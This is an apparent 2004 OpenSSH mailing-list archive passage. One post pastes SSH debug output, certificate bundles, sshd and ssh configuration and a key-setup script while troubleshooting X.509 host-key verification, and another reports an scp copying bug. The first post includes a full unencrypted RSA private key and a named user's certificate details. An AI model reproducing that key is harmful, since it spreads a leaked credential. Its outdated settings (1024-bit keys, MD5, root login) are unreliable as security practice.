debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: call key_type_from_name(-----END) ...
debug2: key_type_from_name: unknown key type
'-----END'
debug3: key_read: missing keytype
debug3: call key_type_from_name(subject=) ...
debug2: key_type_from_name: unknown key type
'subject='
debug3: key_read: missing keytype
debug3: call key_type_from_name(issuer=) ...
debug2: key_type_from_name: unknown key type 'issuer='
debug3: key_read: missing keytype
debug3: call key_type_from_name(<No) ...
debug2: key_type_from_name: unknown key type '<No'
debug3: key_read: missing keytype
debug3: call key_type_from_name(-----BEGIN) ...
debug2: key_type_from_name: unknown key type
'-----BEGIN'
debug3: key_read: missing keytype
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: key_read: missing whitespace
debug3: call key_type_from_name(-----END) ...
debug2: key_type_from_name: unknown key type
'-----END'
debug3: key_read: missing keytype
debug3: call key_type_from_name(x509v3-sign-rsa) ...
debug3: x509key_from_subject(3,
[MIIDyTCCAzKgAwIBAgIBATANBgkqhkiG9w0BAQQFADCBkTELMAkGA1UEBhMCVVMxEzARBgNVBAgTClNvbWUtU3RhdGUxETAPBgNVBAoTCEdvb2RyaWNoMQ0wCwYDVQQLEwRob3N0MR8wHQYDVQQDExZjYS5nb29kcmljaC5yb290LmxvY2FsMSowKAYJKoZIhvcNAQkB])
called 
debug3: key_from_blob(..., 973)
debug3: x509key_from_blob:We have 973 bytes available
in BIO
debug3: x509_to_key: X509_get_pubkey done!
debug1: identity file /root/.ssh/id_rsa type 3
debug3: key_load_public(/root/.ssh/id_dsa,...)
debug1: identity file /root/.ssh/id_dsa type -1
debug1: Remote protocol version 2.0, remote software
version OpenSSH_3.8p1
debug1: match: OpenSSH_3.8p1 pat OpenSSH*
debug1: Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.8p1
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit:
x509v3-sign-rsa,x509v3-sign-dss,ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: x509v3-sign-rsa
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: mac_init: found hmac-md5
debug1: kex: server->client aes128-cbc hmac-md5 none
debug2: mac_init: found hmac-md5
debug1: kex: client->server aes128-cbc hmac-md5 none
debug3: call key_type_from_name(x509v3-sign-rsa) ...
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192)
sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug2: dh_gen_key: priv key bits set: 133/256
debug2: bits set: 524/1024
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug3: key_from_blob(..., 980)
debug3: x509key_from_blob:We have 980 bytes available
in BIO
debug3: x509_to_key: X509_get_pubkey done!
debug3: check_host_in_hostfile: filename
/root/.ssh/known_hosts
debug3: call key_type_from_name(x509v3-sign-rsa) ...
debug3: x509key_from_subject(3,
[Subject:/C=US/ST=<state>/L=<city>/O=<domain>/OU=host/CN=cms.<domain>.root.local/emailAddress=nd_stew@<domain>.com
]) called 
debug3: x509key_from_subject:
subject=[C=US/ST=<state>/L=<city>/O=<domain>/OU=host/CN=cms.<domain>.root.local/emailAddress=nd_stew@<domain>.com
]
debug3: x509key_str2X509NAME: return 1
debug3: x509key_from_subject: return 0x8097f18
debug3: check_host_in_hostfile: match line 1
debug1: Host 'localhost' is known and matches the
RSA+cert host key.
debug1: Found key in /root/.ssh/known_hosts:1
debug2: bits set: 495/1024
debug3: ssh_x509_verify: signature key type =
x509v3-sign-rsa
debug3: ssh_x509_verify: evp_md { 4(md5),
8(md5WithRSAEncryption), 16, ... }
debug3: ssh_x509_verify: evp_md { 64(sha1),
65(sha1WithRSAEncryption), 20, ... }
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
ssh_x509_verify: verify failed: error:0D09B0A3:asn1
encoding routines:d2i_PublicKey:unknown public key
type
debug3: ssh_x509_verify: return 0
key_verify failed for server_host_key
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
########################
# authorized_keys
########################
x509v3-sign-rsa
MIIDyTCCAzKgAwIBAgIBATANBgkqhkiG9w0BAQQFADCBkTELMAkGA1UEBhMCVVMxEzARBgNVBAgTClNvbWUtU3RhdGUxETAPBgNVBAoTCEdvb2RyaWNoMQ0wCwYDVQQLEwRob3N0MR8wHQYDVQQDExZjYS5nb29kcmljaC5yb290LmxvY2FsMSowKAYJKoZIhvcNAQkBFhtjdXJ0aXMuc3Rld2FyZEBnb29kcmljaC5jb20wHhcNMDQwNDEzMTY0NDA3WhcNMDUwNDEzMTY0NDA3WjCBoTELMAkGA1UEBhMCVVMxFTATBgNVBAgTDE5vcnRoIERha290YTESMBAGA1UEBxMJSmFtZXN0b3duMREwDwYDVQQKEwhHb29kcmljaDEPMA0GA1UECxMGcGVyc29uMRcwFQYDVQQDEw5DdXJ0aXMgU3Rld2FyZDEqMCgGCSqGSIb3DQEJARYbY3VydGlzLnN0ZXdhcmRAZ29vZHJpY2guY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdNcXEjE6jb6P6OGry4GtqumPeB+ZDSRCorHtpN1kSLjdX0iBXz4aJNy/n5q1UyfQVRsvO7JorLBgcui2bOc/wxfOK2kHkfuj3ZXnv2W7TJUGmiFT9a7gbfcE0/P4ZFPEivmvItg6MLnODYcmjbQy1LcTfV2ahhJmiov+LCKJ8oQIDAQABo4IBHTCCARkwCQYDVR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFHqKsI4DK35I5It6znjzQRpGkAK2MIG+BgNVHSMEgbYwgbOAFA5uUvcVYG4kABmgzEnG82tOpmhuoYGXpIGUMIGRMQswCQYDVQQGEwJVUzETMBEGA1UECBMKU29tZS1TdGF0ZTERMA8GA1UEChMIR29vZHJpY2gxDTALBgNVBAsTBGhvc3QxHz
AdBgNVBAMTFmNhLmdvb2RyaWNoLnJvb3QubG9jYWwxKjAoBgkqhkiG9w0BCQEWG2N1cnRpcy5zdGV3YXJkQGdvb2RyaWNoLmNvbYIBADANBgkqhkiG9w0BAQQFAAOBgQAz+OYDEx++hIzOgWeUhbfDD7fdHpxJ54IeRl8Dl3GRNxAoxhGxvP4ccK/d/7/esmBPgo0/L/rBaxoNKCfmc4DBFkE4QNLdXIZlFDodoxDEHdqGHjSUlyK2znIHxkkJV+F1p7EurmZ4J2OZkNbgHzaTNeAX4SNE9m6wqg6LL51frA==
########################
# ca-bundle.crt
########################

<domain> CA
===========
MD5
Fingerprint=8E:54:08:CE:54:27:CC:4A:DB:C3:80:AB:CA:5A:08:9C
PEM Data:
-----BEGIN TRUSTED CERTIFICATE-----
MIIDSTCCArKgAwIBAgIBADANBgkqhkiG9w0BAQQFADB8MQswCQYDVQQGEwJVUzER
MA8GA1UEChMIR29vZHJpY2gxDTALBgNVBAsTBGhvc3QxHzAdBgNVBAMTFmNhLmdv
b2RyaWNoLnJvb3QubG9jYWwxKjAoBgkqhkiG9w0BCQEWG2N1cnRpcy5zdGV3YXJk
QGdvb2RyaWNoLmNvbTAeFw0wNDA0MTMxNDM4MjhaFw0xNDA0MTExNDM4MjhaMHwx
CzAJBgNVBAYTAlVTMREwDwYDVQQKEwhHb29kcmljaDENMAsGA1UECxMEaG9zdDEf
MB0GA1UEAxMWY2EuZ29vZHJpY2gucm9vdC5sb2NhbDEqMCgGCSqGSIb3DQEJARYb
Y3VydGlzLnN0ZXdhcmRAZ29vZHJpY2guY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GN
ADCBiQKBgQDdgkpVlO54qRDbgmRvj+bEWkJsyNooP1wWVEF6USJQQerjSGLqBpU1
PWSWh/vokN/BtxenFBgZBH4BicTYJiI+REPYyOXSPra4wlTjFb2pmA1rUBNsAS8B
hjFSxBnya2zCxHkGuRIw0scZXSLSWjDVLmrdKpvgbFevTIv5T1t4GQIDAQABo4Ha
MIHXMB0GA1UdDgQWBBQWnZmrclK87p6tILo/bEQ+CM63kzCBpwYDVR0jBIGfMIGc
gBQWnZmrclK87p6tILo/bEQ+CM63k6GBgKR+MHwxCzAJBgNVBAYTAlVTMREwDwYD
VQQKEwhHb29kcmljaDENMAsGA1UECxMEaG9zdDEfMB0GA1UEAxMWY2EuZ29vZHJp
Y2gucm9vdC5sb2NhbDEqMCgGCSqGSIb3DQEJARYbY3VydGlzLnN0ZXdhcmRAZ29v
ZHJpY2guY29tggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEEBQADgYEAGJDP
fm4V6d9KvUK0f862gF0f0q9Ulg1J+zZJwU2CYjRtAZKcTR9qxIUW2jdRL8LSFULT
pxOBlTfEHj6//xpTVBO5tIkBRob+YHB/IlQhajipXBSMikWTsbIwWWrKZlWUJr1w
wPVtlzHs7OwItKCZ0N+sIfkBSPYfE1Mn1MFqwzQ=
-----END TRUSTED CERTIFICATE-----
Certificate Ingredients:
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 0 (0x0)
        Signature Algorithm: md5WithRSAEncryption
        Issuer: C=US, O=<domain>, OU=host,
CN=ca.<domain>.root.local/emailAddress=nd_stew@<domain>.com
        Validity
            Not Before: Apr 13 14:38:28 2004 GMT
            Not After : Apr 11 14:38:28 2014 GMT
        Subject: C=US, O=<domain>, OU=host,
CN=ca.<domain>.root.local/emailAddress=nd_stew@<domain>.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (1024 bit)
                Modulus (1024 bit):
                   
00:dd:82:4a:55:94:ee:78:a9:10:db:82:64:6f:8f:
                   
e6:c4:5a:42:6c:c8:da:28:3f:5c:16:54:41:7a:51:
                   
22:50:41:ea:e3:48:62:ea:06:95:35:3d:64:96:87:
                   
fb:e8:90:df:c1:b7:17:a7:14:18:19:04:7e:01:89:
                   
c4:d8:26:22:3e:44:43:d8:c8:e5:d2:3e:b6:b8:c2:
                   
54:e3:15:bd:a9:98:0d:6b:50:13:6c:01:2f:01:86:
                   
31:52:c4:19:f2:6b:6c:c2:c4:79:06:b9:12:30:d2:
                   
c7:19:5d:22:d2:5a:30:d5:2e:6a:dd:2a:9b:e0:6c:
                    57:af:4c:8b:f9:4f:5b:78:19
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
               
16:9D:99:AB:72:52:BC:EE:9E:AD:20:BA:3F:6C:44:3E:08:CE:B7:93
            X509v3 Authority Key Identifier: 
               
keyid:16:9D:99:AB:72:52:BC:EE:9E:AD:20:BA:3F:6C:44:3E:08:CE:B7:93
               
DirName:/C=US/O=<domain>/OU=host/CN=ca.<domain>.root.local/emailAddress=nd_stew@<domain>.com
                serial:00

            X509v3 Basic Constraints: 
                CA:TRUE
    Signature Algorithm: md5WithRSAEncryption
       
18:90:cf:7e:6e:15:e9:df:4a:bd:42:b4:7f:ce:b6:80:5d:1f:
       
d2:af:54:96:0d:49:fb:36:49:c1:4d:82:62:34:6d:01:92:9c:
       
4d:1f:6a:c4:85:16:da:37:51:2f:c2:d2:15:42:d3:a7:13:81:
       
95:37:c4:1e:3e:bf:ff:1a:53:54:13:b9:b4:89:01:46:86:fe:
       
60:70:7f:22:54:21:6a:38:a9:5c:14:8c:8a:45:93:b1:b2:30:
       
59:6a:ca:66:55:94:26:bd:70:c0:f5:6d:97:31:ec:ec:ec:08:
       
b4:a0:99:d0:df:ac:21:f9:01:48:f6:1f:13:53:27:d4:c1:6a:
        c3:34
########################
# id_rsa
########################
-----BEGIN RSA PRIVATE KEY-----
MIICWQIBAAKBgQC96K8urOlMIbWdG7kcCMh3aZOgwh4nKUCnSnZmxkx75l+nWauI
zK3ab0/F4h32tu4y5+ba0usJuGfw7+zVDHjLvPXxTuIIzRgE3yb0+FOjjmNDzm0c
Zm74m/kyfyZ7XW3ng/5enj/0/4500M3/noFJT9rCkvhLB6H0MklakpWMqwIBIwKB
gEaJoCdHidpy669iEY4R5A8YletAyV8AsZ046iYsZY0bDZXuGyQuxDswqJn05o7W
Ozd6tNTvQVthwDTrZphGdgHkKwNuypkiCiLTpVHfx8D8OOzsrsFpdvVleXwExVU3
4nrkNleGWWZUkcV5/f2/zm7t5coCMEiWq/4ZDFmApOhbAkEA4h3Lt2QBNrPSbmG3
NtAKaytUBxHapmJeoiQSYF529pgwqDYz1a9eQt9WGXzMuaEh38GI20pWpODiBMXZ
E4rj4wJBANcB4UXSuhNcmZlqnGcHVnwohZjnOQaRQF7JIP4+lR8lMOuEoZnuqp3r
lOUH1n4DJCqukACObAgtF0yJpDhiXpkCQDok6z3JQiQCWq6raaBhYcPJUB8TODlp
wJAX53fdxtGyGyPwrj5DCZwqzP89WTcMLUgqc6Yabg0j4lj/rNkjtvECQG6TQKeQ
8ftUMbydOn4hB+gU1v4txY5ZVE4BCadTYqJNpCFaJzk46ggSwZpbzWVgs4OqO24A
Gk1ZBKsE9V7TgRsCQGiELzVHDgc6j5vK5ns3qJP1sFD2uB3NYJYdstbsiXUEuNjQ
C5/XoXJcVpdaxAwAS/T81//K1s6hKRW8F9Ix0XM=
-----END RSA PRIVATE KEY-----
subject=
/C=US/ST=<state>/L=<city>/O=<domain>/OU=person/CN=Curtis
Steward/emailAddress=nd_stew@<domain>.com
issuer=
/C=US/ST=Some-State/O=<domain>/OU=host/CN=ca.<domain>.root.local/emailAddress=nd_stew@<domain>.com
<No Alias>
-----BEGIN CERTIFICATE-----
MIIDyTCCAzKgAwIBAgIBATANBgkqhkiG9w0BAQQFADCBkTELMAkGA1UEBhMCVVMx
EzARBgNVBAgTClNvbWUtU3RhdGUxETAPBgNVBAoTCEdvb2RyaWNoMQ0wCwYDVQQL
EwRob3N0MR8wHQYDVQQDExZjYS5nb29kcmljaC5yb290LmxvY2FsMSowKAYJKoZI
hvcNAQkBFhtjdXJ0aXMuc3Rld2FyZEBnb29kcmljaC5jb20wHhcNMDQwNDEzMTY0
NDA3WhcNMDUwNDEzMTY0NDA3WjCBoTELMAkGA1UEBhMCVVMxFTATBgNVBAgTDE5v
cnRoIERha290YTESMBAGA1UEBxMJSmFtZXN0b3duMREwDwYDVQQKEwhHb29kcmlj
aDEPMA0GA1UECxMGcGVyc29uMRcwFQYDVQQDEw5DdXJ0aXMgU3Rld2FyZDEqMCgG
CSqGSIb3DQEJARYbY3VydGlzLnN0ZXdhcmRAZ29vZHJpY2guY29tMIGfMA0GCSqG
SIb3DQEBAQUAA4GNADCBiQKBgQCdNcXEjE6jb6P6OGry4GtqumPeB+ZDSRCorHtp
N1kSLjdX0iBXz4aJNy/n5q1UyfQVRsvO7JorLBgcui2bOc/wxfOK2kHkfuj3ZXnv
2W7TJUGmiFT9a7gbfcE0/P4ZFPEivmvItg6MLnODYcmjbQy1LcTfV2ahhJmiov+L
CKJ8oQIDAQABo4IBHTCCARkwCQYDVR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3Bl
blNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFHqKsI4DK35I5It6
znjzQRpGkAK2MIG+BgNVHSMEgbYwgbOAFA5uUvcVYG4kABmgzEnG82tOpmhuoYGX
pIGUMIGRMQswCQYDVQQGEwJVUzETMBEGA1UECBMKU29tZS1TdGF0ZTERMA8GA1UE
ChMIR29vZHJpY2gxDTALBgNVBAsTBGhvc3QxHzAdBgNVBAMTFmNhLmdvb2RyaWNo
LnJvb3QubG9jYWwxKjAoBgkqhkiG9w0BCQEWG2N1cnRpcy5zdGV3YXJkQGdvb2Ry
aWNoLmNvbYIBADANBgkqhkiG9w0BAQQFAAOBgQAz+OYDEx++hIzOgWeUhbfDD7fd
HpxJ54IeRl8Dl3GRNxAoxhGxvP4ccK/d/7/esmBPgo0/L/rBaxoNKCfmc4DBFkE4
QNLdXIZlFDodoxDEHdqGHjSUlyK2znIHxkkJV+F1p7EurmZ4J2OZkNbgHzaTNeAX
4SNE9m6wqg6LL51frA==
-----END CERTIFICATE-----
########################
# id_rsa.pub
########################
x509v3-sign-rsa
MIIDyTCCAzKgAwIBAgIBATANBgkqhkiG9w0BAQQFADCBkTELMAkGA1UEBhMCVVMxEzARBgNVBAgTClNvbWUtU3RhdGUxETAPBgNVBAoTCEdvb2RyaWNoMQ0wCwYDVQQLEwRob3N0MR8wHQYDVQQDExZjYS5nb29kcmljaC5yb290LmxvY2FsMSowKAYJKoZIhvcNAQkBFhtjdXJ0aXMuc3Rld2FyZEBnb29kcmljaC5jb20wHhcNMDQwNDEzMTY0NDA3WhcNMDUwNDEzMTY0NDA3WjCBoTELMAkGA1UEBhMCVVMxFTATBgNVBAgTDE5vcnRoIERha290YTESMBAGA1UEBxMJSmFtZXN0b3duMREwDwYDVQQKEwhHb29kcmljaDEPMA0GA1UECxMGcGVyc29uMRcwFQYDVQQDEw5DdXJ0aXMgU3Rld2FyZDEqMCgGCSqGSIb3DQEJARYbY3VydGlzLnN0ZXdhcmRAZ29vZHJpY2guY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdNcXEjE6jb6P6OGry4GtqumPeB+ZDSRCorHtpN1kSLjdX0iBXz4aJNy/n5q1UyfQVRsvO7JorLBgcui2bOc/wxfOK2kHkfuj3ZXnv2W7TJUGmiFT9a7gbfcE0/P4ZFPEivmvItg6MLnODYcmjbQy1LcTfV2ahhJmiov+LCKJ8oQIDAQABo4IBHTCCARkwCQYDVR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFHqKsI4DK35I5It6znjzQRpGkAK2MIG+BgNVHSMEgbYwgbOAFA5uUvcVYG4kABmgzEnG82tOpmhuoYGXpIGUMIGRMQswCQYDVQQGEwJVUzETMBEGA1UECBMKU29tZS1TdGF0ZTERMA8GA1UEChMIR29vZHJpY2gxDTALBgNVBAsTBGhvc3QxHz
AdBgNVBAMTFmNhLmdvb2RyaWNoLnJvb3QubG9jYWwxKjAoBgkqhkiG9w0BCQEWG2N1cnRpcy5zdGV3YXJkQGdvb2RyaWNoLmNvbYIBADANBgkqhkiG9w0BAQQFAAOBgQAz+OYDEx++hIzOgWeUhbfDD7fdHpxJ54IeRl8Dl3GRNxAoxhGxvP4ccK/d/7/esmBPgo0/L/rBaxoNKCfmc4DBFkE4QNLdXIZlFDodoxDEHdqGHjSUlyK2znIHxkkJV+F1p7EurmZ4J2OZkNbgHzaTNeAX4SNE9m6wqg6LL51frA==
########################
# known_hosts
########################
localhost x509v3-sign-rsa
Subject:/C=US/ST=<state>/L=<city>/O=<domain>/OU=host/CN=cms.<domain>.root.local/emailAddress=nd_stew@<domain>.com
########################
# sshd_config
########################
#	$OpenBSD: sshd_config,v 1.65 2003/08/28 12:54:34
markus Exp $

# This is the sshd server system-wide configuration
file.  See
# sshd_config(5) for more information.

# This sshd was compiled with
PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin

# The strategy used for options in the default
sshd_config shipped with
# OpenSSH is to specify options with their default
value where
# possible, but leave them commented.  Uncommented
options change a
# default value.

Port 2022
Protocol 2
#ListenAddress 0.0.0.0
#ListenAddress ::

# HostKey for protocol version 1
#HostKey /usr/local/etc/ssh_host_key
# HostKeys for protocol version 2
#HostKey /usr/local/etc/ssh_host_rsa_key

# Lifetime and size of ephemeral version 1 server key
#KeyRegenerationInterval 1h
#ServerKeyBits 768

# Logging
#obsoletes QuietMode and FascistLogging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes

#RSAAuthentication yes
#PubkeyAuthentication yes
#AuthorizedKeysFile	.ssh/authorized_keys

# For this to work you will also need host keys in
/usr/local/etc/ssh_known_hosts
#RhostsRSAAuthentication no
# similar for protocol version 2
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts
for
# RhostsRSAAuthentication and HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes

# To disable tunneled clear text passwords, change to
no here!
#PasswordAuthentication yes
#PermitEmptyPasswords no

# Change to no to disable s/key passwords
#ChallengeResponseAuthentication yes

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes

# Session hooks: if allowed, specify the commands to
execute
#AllowSessionHooks yes
#SessionHookStartupCmd /bin/true
#SessionHookShutdownCmd /bin/true

# GSSAPI options
#GSSAPIAuthentication yes
#GSSAPICleanupCreds yes

# Set this to 'yes' to enable PAM authentication (via
challenge-response)
# and session processing. Depending on your PAM
configuration, this may
# bypass the setting of 'PasswordAuthentication'
#UsePAM yes

#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
PrintMotd no
#PrintLastLog yes
#KeepAlive yes
#UseLogin no
#UsePrivilegeSeparation yes
#PermitUserEnvironment no
#Compression yes
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS yes
#PidFile /var/run/sshd.pid
#MaxStartups 10

# no default banner path
#Banner /some/path

# override default of no subsystems
Subsystem	sftp	/usr/local/libexec/sftp-server
X509rsaSigType=md5
#AllowedCertPurpose sslserver
#CACertificateFile
/root/tk/openssh-3.8p1/tests/CA/ca-test/catest-bundle.crt
CACertificateFile /root/.ssh/ca-bundle.crt
#CACertificatePath
/root/tk/openssh-3.8p1/tests/CA/ca-test/crt
CACertificatePath /root/demoCA
#CARevocationFile
/root/tk/openssh-3.8p1/tests/CA/ca-test/catest-bundle.crl
#CARevocationPath
/root/tk/openssh-3.8p1/tests/CA/ca-test/crl
########################
# ssh_config
########################
#	$OpenBSD: ssh_config,v 1.19 2003/08/13 08:46:31
markus Exp $

# This is the ssh client system-wide configuration
file.  See
# ssh_config(5) for more information.  This file
provides defaults for
# users, and the values can be changed in per-user
configuration files
# or on the command line.

# Configuration data is parsed as follows:
#  1. command line options
#  2. user-specific file
#  3. system-wide file
# Any configuration value is only changed the first
time it is set.
# Thus, host-specific definitions should be at the
beginning of the
# configuration file, and defaults at the end.

# Site-wide defaults for various options

# Host *
#   ForwardAgent no
ForwardX11 yes
#   RhostsRSAAuthentication no
#   RSAAuthentication yes
#   PasswordAuthentication yes
#   HostbasedAuthentication no
#   BatchMode no
#   CheckHostIP yes
#   AddressFamily any
#   ConnectTimeout 0
#   StrictHostKeyChecking ask
#   IdentityFile ~/.ssh/identity
#   IdentityFile ~/.ssh/id_rsa
#   IdentityFile ~/.ssh/id_dsa
Port 2022
Protocol 2
#   Cipher 3des
#   Ciphers
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc
#   EscapeChar ~
Compression no
ConnectionAttempts 2
NumberofPasswordPrompts 1
X509rsaSigType=md5
AllowedCertPurpose sslserver
#CACertificateFile
/root/tk/openssh-3.8p1/tests/CA/ca-test/catest-bundle.crt
CACertificateFile /root/.ssh/ca-bundle.crt
#CACertificatePath
/root/tk/openssh-3.8p1/tests/CA/ca-test/crt
CACertificatePath /root/demoCA
#CARevocationFile
/root/tk/openssh-3.8p1/tests/CA/ca-test/catest-bundle.crl
#CARevocationPath
/root/tk/openssh-3.8p1/tests/CA/ca-test/crl
#UserCACertificateFile
/root/tk/openssh-3.8p1/tests/CA/ca-test/catest-bundle.crt
UserCACertificateFile /root/.ssh/ca-bundle.crt
#UserCACertificatePath
/root/tk/openssh-3.8p1/tests/CA/ca-test/crt
UserCACertificatePath /root/demoCA
#UserCARevocationFile
/root/tk/openssh-3.8p1/tests/CA/ca-test/catest-bundle.crl
#UserCARevocationPath
/root/tk/openssh-3.8p1/tests/CA/ca-test/crl
########################
# Certificate Prep
########################
crtPrep()
{

  echo "Preping Host Keys..."
  cd /usr/local/etc                          # Host
Keys
  rm -f id_rsa id_rsa.pub
  ssh-keygen -t rsa -b 1024 -f id_rsa -N ""
  cat id_rsa > ssh_host_rsa_key
  chmod 600 ssh_host_rsa_key
  openssl x509 -in
$HOME/.ws/cms.<domain>.root.local.crt \
    -subject -issuer -alias >> ssh_host_rsa_key
  ssh-keygen -y -f ssh_host_rsa_key >
ssh_host_rsa_key.pub 

  echo "Preping User Keys..."
  mkdir $HOME/.ssh >/dev/null 2>&1
  cd $HOME/.ssh                              # User
Keys
  rm -f known_hosts
  rm -f id_rsa id_rsa.pub
  ssh-keygen -t rsa -b 1024 -f id_rsa -N ""
  openssl x509 -in $HOME/.ws/work_priv.crt \
    -subject -issuer -alias >> id_rsa
  ssh-keygen -y -f id_rsa > id_rsa.pub
  cp -p id_rsa.pub authorized_keys

  echo "Preping CA Certs..."
                                             # CA
Certs
  echo "" > ca-bundle.crt
  echo "<domain> CA" >> ca-bundle.crt
  echo "===========" >> ca-bundle.crt
  openssl x509 -in /usr/local/ca/cacert.pem  \
    -noout -fingerprint >> ca-bundle.crt
  echo "PEM Data:" >> ca-bundle.crt
  openssl x509 -in /usr/local/ca/cacert.pem  \
    -trustout >> ca-bundle.crt
  echo "Certificate Ingredients:" >> ca-bundle.crt
  openssl x509 -in /usr/local/ca/cacert.pem  \
    -noout -text >> ca-bundle.crt
}

crtPrep

exit 0



	
		
__________________________________
Do you Yahoo!?
Yahoo! Tax Center - File online by April 15th
http://taxes.yahoo.com/filing.html



From RXANDERS at srpnet.com  Wed Apr 14 06:38:08 2004
From: RXANDERS at srpnet.com (ANDERSON RUSSELL D (ANDY))
Date: Tue, 13 Apr 2004 13:38:08 -0700
Subject: scp problem
Message-ID: <5E045A9F7D28F04A8B22115B7E86434A39DBDB@srpexc2.srp.gov>

RCSID("$OpenBSD: scp.c,v 1.113 2003/11/23 23:21:21 djm Exp $");
Part of the OpenSSH_3.8p1, SSH protocols 1.5/2.0, OpenSSL 0.9.7c 30 Sep 2003 distribution

Could someone verify this case we found that causes a file to be missed during copying?

Here is the setup to replicate the problem:

On hosta /tmp:
	-rw-rw-r--   1 user01 group01       0 Apr 13 10:44 file0
	-rw-rw-r--   1 user01 group01       0 Apr 13 10:44 file1
	-rw-rw-r--   1 user01 group01       0 Apr 13 10:44 file2

On hostb /tmp:
	-rw-rw-r--   1 user02 group02       0 Apr 13 10:44 file0

	cd /tmp
	scp -p hosta:/tmp/file* .

	file0                                         100%    0     0.0KB/s   00:00
	./file0: set mode: Not owner
	./file0: set times: Not owner
	file2                                         100%    0     0.0KB/s   00:00

	The resulting files are:

	-rwxrwxr-x   1 user02   group02         0 Apr 13 13:30 file0
	-rw-rw-r--     1 user01   group02         0 Apr 13 10:44 file2

The question is why was "file01" not copied?

Thanks - Andy



From mouring at etoh.eviladmin.org  Wed Apr 14 07:19:28 2004
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
